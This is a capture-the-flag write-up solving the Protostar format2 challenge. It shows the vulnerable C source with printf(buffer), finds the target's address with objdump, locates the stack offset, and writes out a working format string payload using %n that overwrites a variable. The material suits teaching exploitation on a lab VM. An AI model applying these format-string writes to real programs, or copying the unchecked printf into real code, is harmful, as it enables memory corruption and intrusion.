Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/format2 test test target is 0 :(
Exploit
Program should print the message “you have modified the target :)”.
This challenge is very similar to the previous challenge in that we need to use the format string vulnerability on the printf(buffer) call and use the $n modifier to overwrite the contents of ‘target’.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target :)\n"); } else { printf("target is %d :(\n", target); } } int main(int argc, char **argv) { vuln(); }
If we can assign the ‘target’ variable the integer value 64 then the message should be printed.
Again we will use objdump -t option. This command will print the the binary’s symbol table. The symbol we want is the reference to the ‘target’ variable and it’s memory location.
user@protostar:~$ objdump -t /opt/protostar/bin/format2|grep target 080496e4 g O .bss 00000004 target
There we have it, ‘target’ should be located at memory address 0x080496e4.
Now we need to construct the exploit format string payload.
First step is to figure out which position on the stack is the ‘buffer’ variable stored.
user@protostar:~$ for i in {1..254}; do echo -e "AAAA%$i\$p-$i" |/opt/protostar/bin/format2;done |grep 0x41414141 AAAA0x41414141-4
I iterated from 1-254 to find the first part of the string of AAAA and it showed up at 4th position.
I tried to confirm this once more.
user@protostar:~$ /opt/protostar/bin/format2 AAAA%4$p AAAA0x41414141 target is 0 :(
Definitely the 4th position.
The payload so far
AAAA%4$p
AAAA = start of the string parameter
%4 = Position on the stack that the ‘string’ (AAAA) variable is stored.
$p = This will print out the contents of the memory location at stack position 4.
All we need to do now is replace the AAAAs with the memory location of ‘target’ in reverse byte order and use the %n modifier to write to a memory location instead of printing the contents of the stack position. Something like \xe4\x96\x04\x08%4$n
\xe4\x96\x04\x08 = ‘target’ memory location in reverse byte order
%4 = Position on the stack that the ‘buffer’ (\xe4\x96\x04\x08 ) variable is stored.
$n = Write the string length (4 ‘\xe4\x96\x04\x08’) to the destination address specified by the stack position modifier %4
user@protostar:~$ echo -e "\xe4\x96\x04\x08%4\$n" |/opt/protostar/bin/format2 ? target is 4 :(
The program nicely confirms that ‘target’ variable contains the integer 4.
If the value 4 (because 4 bytes used for the string “\xe4\x96\x04\x08%4\”) is saved to the location specified by 0x080496e4 then how do we increase this value? Format strings allow you to increase the width/size of the string created (same technique used in format0 challenge) by specifying an unsigned integer %(int)u and this size value will be stored at the address of ‘target’.
Updated payload \xe4\x96\x04\x08%60u%4$n
\xe4\x96\x04\x08 = ‘target’ memory location in reverse byte order
%60u = This is an additional 60 bytes to append to the previous 4 bytes (\xe4\x96\x04\x08) giving the string a total of 64 bytes.
%4 = Position on the stack that the ‘buffer’ (\xe4\x96\x04\x08 ) variable is stored.
$n = Write the string length (‘\xe4\x96\x04\x08’ + ‘0x20’*60 = 64bytes) to the destination address specified by the stack position modifier %4
user@protostar:~$ echo -e "\xe4\x96\x04\x08%60u%4\$n" |/opt/protostar/bin/format2 512 you have modified the target :)
Thank you